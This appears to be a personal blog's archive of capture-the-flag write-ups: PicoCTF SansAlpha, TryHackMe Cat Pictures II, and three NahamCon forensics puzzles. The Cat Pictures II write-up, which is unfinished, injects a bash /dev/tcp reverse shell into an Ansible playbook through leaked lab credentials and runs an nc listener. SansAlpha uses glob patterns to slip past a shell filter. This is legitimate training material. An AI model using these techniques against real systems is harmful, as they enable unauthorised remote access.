Archived

SansAlpha [PicoCTF]

Tue, 05 Aug 2025 00:00:00 GMT

## Description: The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols. Additional details will be available after launching your challenge instance. --- ## Solution: Let's start the challenge by logging into the SSH credentials. Right after logging in, I discovered that any sort of alphabets and `\` are filtered, and we are restricted to numbers and special characters only. Thanks to creative solvers out there, I was able to solve this challenge. To solve this challenge, we need to understand some wildcard syntax in shells. There are 6 types of basic wildcards available for bash: | Wildcard | Description | Example | Matches | |----------|-------------|---------|---------| | `*` | Matches any number of characters (including zero) | *.txt | file.txt, document.txt, a.txt | | `?` | Matches exactly one character | file?.txt | file1.txt, filea.txt, but not file.txt | | `[...]` | Matches any one character in the brackets | file[123].txt | file1.txt, file2.txt, file3.txt | | `[!...]` | Matches any one character NOT in the brackets | file[!123].txt | filea.txt, fileb.txt, but not file1.txt | | `{...}` | Matches any of the comma-separated patterns | file{1,2,3}.txt | file1.txt, file2.txt, file3.txt | | `\` | Used to protect a subsequent special character | \*.txt | *.txt (literal asterisk, not wildcard) | For more info visit: - [Wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm) - [Text Globbing](https://tldp.org/LDP/abs/html/globbingref.html) With this knowledge, I tried to discover the file structure. When I inputted `*`, which should expand into every folder in the current directory, I got: ```bash SansAlpha$ * bash: blargh: command not found ``` So we have a folder named `blargh`. I then tried `*/*` and got: ```bash SansAlpha$ */* bash: blargh/flag.txt: Permission denied ``` So we are not allowed to look into the file yet. I had to explore the machine to look for something useful. I tried using the `?` wildcard: ```bash SansAlpha$ /? bash: /?: No such file or directory SansAlpha$ /?? bash: /??: No such file or directory SansAlpha$ /??? bash: /bin: Is a directory SansAlpha$ /???? bash: /boot: Is a directory SansAlpha$ /????? bash: /lib32: Is a directory SansAlpha$ /?????? bash: /libx32: Is a directory ``` So I looked into the `/bin` directory because it contains most of the binaries. After exploring what binaries we have, I found nothing more interesting than `/bin/base64`. So I tried to call `/bin/base64 /blargh/flag.txt` hoping it would return the base64 encoded version of the flag. ```bash /???/????64 */????.??? ``` And the server returned this: ```bash SansAlpha$ /???/????64 */????.??? /bin/base64: extra operand '/bin/x86_64' Try '/bin/base64 --help' for more information. ``` Coincidentally, our pattern also matches `/bin/x86_64`, so I tried to exclude it using the negation character class: ```bash /???/???[!_]64 */????.??? ``` With this, we get the base64 encoded flag, which can be decoded as follows: ```bash echo "encoded_flag" | base64 -d ``` And therefore we get the flag!

Cat Pictures II [THM]

Sat, 02 Aug 2025 00:00:00 GMT

Cat Pictures II is a room from TryHackMe. In this writeup, let's see how we can solve this room. So we are given an IP address as usual. Our first step of recon is to gather information using nmap. Let's do a quick scan using nmap with the following command: ```bash nmap -T4 -p- ``` - -p- : scans all 65,536 ports - -T4 : timing template used for fast scans After letting the command run for a while, we get: ``` [Add nmap results here] ``` So, we can see that a web service is being hosted. Upon visiting that website, we get to know that it is a cat picture album. After inspecting these images, we can see something fishy in the description of image 1. After running the image through exiftool with the following command: ```bash exiftool catPics2/f5054e97620f168c7b5088c85ab1d6e4.jpg ``` We can find perhaps a directory name: ``` 8080/764efa883dda1e11db47671c4a3bbd9e.txt ``` On the hidden page, we are greeted with some information: ```text note to self: I setup an internal gitea instance to start using IaC for this server. It's at a quite basic state, but I'm putting the password here because I will definitely forget. This file isn't easy to find anyway unless you have the correct url... gitea: port 3000 user: samarium password: TUmhyZ37CLZrhP ansible runner (olivetin): port 1337 ``` So from this we have credentials to the Gitea portal. We also have Ansible running on port 1337. First, let's visit the Gitea portal. On the Gitea portal we can find one repository named ansible - perhaps we can find a configuration file there. Well, after checking the repo, we can find the first flag! we also find a YAML config file: ```yaml --- - name: Test hosts: all # Define all the hosts remote_user: bismuth # Defining the Ansible task tasks: - name: get the username running the deploy become: false command: whoami register: username_on_the_host changed_when: false - debug: var=username_on_the_host - name: Test shell: echo hi ``` From analyzing this configuration, there's a solid chance that we can establish a reverse shell through one of the hosts using OliveTin that is running on port 1337. We can generate a reverse shell command from this [website](https://tex2e.github.io/reverse-shell-generator/index.html) Then we can edit the command in the Ansible playbook to the following to form a reverse shell: ```bash bash -c 'bash -i >& /dev/tcp// 0>&1' ``` So the modified playbook will look like: ```yaml --- - name: Test hosts: all # Define all the hosts remote_user: bismuth # Defining the Ansible task tasks: - name: get the username running the deploy become: false command: bash -c 'bash -i >& /dev/tcp// 0>&1' register: username_on_the_host changed_when: false - debug: var=username_on_the_host - name: Test shell: echo hi ``` Make sure that a listener is set up on the attacker machine using the following command: ```bash nc -lnvp ``` Then visit port 1337 and run the playbook. Boom! We get a reverse connection. After checking the files on the system, we can find second flag! for the ## PENDING

ScreenShot! [NahamCon]

Fri, 23 May 2025 00:00:00 GMT

Hello everyone! Let's wrap this up quickly! This is a CTF challenge from NahamCon 2025 where we are given an image. Well, the image contains a hex dump of some zip file. Well, how did I know it's a zip file? Well, obviously it's mentioned in the CTF description, right? That's true, but another way is to match the file signature. Each file extension has its own file signature at the beginning of the file. For example, in this case we have `504b`, which is the file signature for zip files! More info about them here: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) So what we will do is reverse this hex dump to convert it back into a zip file and open that zip, hoping that we would find a flag file in it! First, let's copy the contents of this image to a text file, say `hdump.txt`: ```text 00000000: 504b 0304 3300 0100 6300 2f02 b55a 0000 PK..3...c./..Z.. 00000010: 0000 4300 0000 2700 0000 0800 0b00 666c ..C...'......fl 00000020: 6167 2e74 7874 0199 0700 0200 4145 0300 ag.txt......AE.. 00000030: 003d 42ff d1b3 5f95 0314 24f6 8b65 c3f5 .=B..._...$..e.. 00000040: 7669 f14e 8df0 003f e240 b3ac 3364 859e vi.N...?.@..3d.. 00000050: 4c2d bc3c 36f2 d4ac c403 7613 85af e4e3 L-.<6.....v..... 00000060: f90f bd29 d91b 614b a2c6 efde 11b7 1bcc ...)..aK........ 00000070: 907a 72ed 504b 0102 3f03 3300 0100 6300 .zr.PK..?.3...c. 00000080: 2f02 b55a 0000 0000 4300 0000 2700 0000 /..Z....C...'... 00000090: 0800 2f00 0000 0000 0000 2080 b481 0000 ../....... ..... 000000a0: 0000 666c 6167 2e74 7874 0a00 2000 0000 ..flag.txt.. ... 000000b0: 0000 0100 1800 8213 8543 07ca db01 0000 .........C...... 000000c0: 0000 0000 0000 0000 0000 0000 0000 0199 ................ 000000d0: 0700 0200 4145 0300 0050 4b05 0600 0000 ....AE...PK..... 000000e0: 0001 0001 0065 0000 0074 0000 0000 00 .....e...t..... ``` To reverse the hex dump and convert it into a zip file, the following command can be used: ```bash xxd -r hdump.txt > hdump.zip ``` And then unzip the `hdump.zip`: ```bash unzip hdump.zip ``` And that's it! We will get a flag file! --- *Last edit: 24-05-2025*

Free Flags! [NahamCon]

Fri, 23 May 2025 00:00:00 GMT

Hello everyone! This is our first challenge in NahamCon 2025 CTF. In this challenge, we are given a *free_flags.txt* file, which apparently contains a lot of flags! So how do we find the correct flag among them? Brute force maybe? Perhaps? Well, it's possible, but not feasible! So how do we solve this? If only we had criteria to filter out the correct flag... if only we had... wait! If you have read the rules properly, you'll find something like this: ```text Flags for this competition will follow the format: flag{[0-9a-f]{32}}. That means a flag{} wrapper with a 32-character lowercase hex string inside—basically something that looks like an MD5 hash. ``` Yeah, these are the criteria we need! To be honest, all we need is this regex pattern: **`flag{[0-9a-f]{32}}`** Let's write a small Python script to scan and filter the flag we need. Below is the Python script for this challenge: ```python import re with open('free_flags.txt', 'r') as f: flags = f.read() flag = re.findall(r'flag\{[0-9a-f]{32}\}', flags) print(flag) ``` Running this script will give us the flag we need! --- *Last edit: 24-05-2025*

Quartet [NahamCon]

Fri, 23 May 2025 00:00:00 GMT

Hello everyone! In this writeup, let's see how we can solve the Quartet CTF challenge from NahamCon 2025. We are given four files with strange extensions. Well, they may seem strange for someone who's seeing them for the first time, but they're not! These files with "zX" (where X is a number) extensions are parts of a single zip file (.zip). Basically, combining these zip files will give us one single complete zip file in theory. Let's try to combine them with the following command: ```bash cat * > main.zip # Make sure all these files are in an isolated folder! ``` Now let's unzip this main.zip file: ```bash unzip main.zip ``` And alas! We are greeted with an error, which is just a warning 🤷‍♂️ ```bash Archive: main.zip warning [main.zip]: zipfile claims to be last disk of a multi-part archive; attempting to process anyway, assuming all parts have been concatenated together in order. Expect "errors" and warnings...true multi-part support doesn't exist yet (coming soon). warning [main.zip]: 1526784 extra bytes at beginning or within zipfile (attempting to process anyway) file #1: bad zipfile offset (local header sig): 1526788 (attempting to re-compensate) inflating: quartet.jpeg ``` Meh, just ignore them. We can see `inflating: quartet.jpeg` at the end, which means a JPEG file is extracted from main.zip. Let's look at it. Woah, a quartet! No wonder the Problem name is the same. Well, it's an image. Let's search for strings and filter them out with the following command: ```bash strings quartet.jpeg | grep "flag" ``` And there you go—the flag will appear! --- *Last edit: 24-05-2025*